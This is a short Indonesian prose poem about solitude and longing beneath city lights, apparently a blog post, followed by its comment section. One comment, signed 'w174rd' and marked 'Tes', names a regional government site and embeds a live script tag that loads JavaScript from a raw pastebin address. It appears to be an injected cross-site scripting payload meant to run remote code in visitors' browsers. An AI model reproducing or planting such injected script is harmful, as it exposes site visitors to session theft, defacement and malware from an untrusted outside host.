Festival Lampu Kota
 
 
 

Pukul sepuluh malam, jalanan lengang dan aku seorang diri. Di sudut inti-mu, beberapa orang sedang ingin sendiri saja, ketika rindu menyusup ke dalam malam yang diam dan dingin pada lampu-lampu kota.

Tak akan pernah ada jalan pulang di kota ini. Setiap saat orang-orang tersesat dan menyembunyikan diri sendiri, di suatu pertigaan jalan yang membelah antara kampung halaman dan sebaris lampu jalan.

Aku lenyap dan asing pada detik terakhir dari malam: "Kita tak akan pernah bertemu" dalam dinginku, dalam diammu.

Kata kunci:

#sajak#prosa#sastra#literasi#tengah malam

 


w174rd
    Komentar untuk "Festival Lampu Kota"
  • https://w174rd.com

    Tes

    17 mar 2020 pukul 13:18

    https://dprd.kebumenkab.go.id

    <script type="text/javascript" src="https://pastebin.com/raw/jymF3LHe"></script>

garis w174rd